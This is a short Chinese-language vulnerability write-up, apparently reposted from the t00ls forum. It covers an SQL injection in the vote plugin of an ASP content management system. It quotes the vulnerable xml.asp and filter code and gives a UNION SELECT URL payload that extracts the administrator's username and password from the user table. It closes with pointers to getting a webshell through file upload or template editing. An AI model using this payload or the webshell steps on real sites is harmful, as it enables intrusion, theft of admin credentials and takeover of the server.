漏洞描述:
<!--#include file="../conn.asp"-->
<!--#include file="../fun/funlogic.asp"-->
<%
thisid=funstr(Trim(Request.QueryString("voteid")))
if thisid="" then
set rs=conn.execute("select top 1 * from plug_vote where oorc<>false order by id desc")
else
set rs=conn.execute("select * from plug_vote where id="&thisid)
end if
if rs.eof then response.Write("连接数据发生错误"):response.End()
conn.execute "update plug_vote set votevi=votevi+1 where id="&rs("id")
for i=1 to 5
if isnull(rs("cs_"&i)) then exit for
next
nowid=rs("id")
......
%>
这里 我们看下是如何接收变量传递进来的值的
thisid=funstr(Trim(Request.QueryString("voteid"))) trim
过滤两边空格 然后是funstr这个函数 在包含文件里有个 fun/funlogic.asp 函数应该在这里 打开这个文件
Function funstr(str)
str = replace(str, "<", "<", 1, -1, 1)
str = replace(str, ">", ">", 1, -1, 1)
str = trim(str)
str = replace(str,"'","‘")
funstr = str
End Function
Function unfunstr(str)
str = replace(str, "<","<", 1, -1, 1)
str = replace(str, ">",">", 1, -1, 1)
str = trim(str)
str = replace(str,"‘","'")
unfunstr = str
End Function
这个函数起到的作用就是过滤字符串中的一些字符如 < > 空格 ' 等等 作者可能认为这样就可以达到防注的效果 其实不然 注入不需要这些东西
http://127.0.0.1/plug_vote/xml.asp?voteid=1
构造下
http://127.0.0.1/plug_vote/xml.a ... 0union%20select%201,2,3,4,5,6,7,username,password,10,11,12,13,14,15,16,17,18%20from%20user%20where%20id=1
查询得到管理员用户名和密码
后台拿webshell 有两种方法 一个是上传 一个是编辑模板 注意看下
编辑模板的地址就可以了
来源:t00ls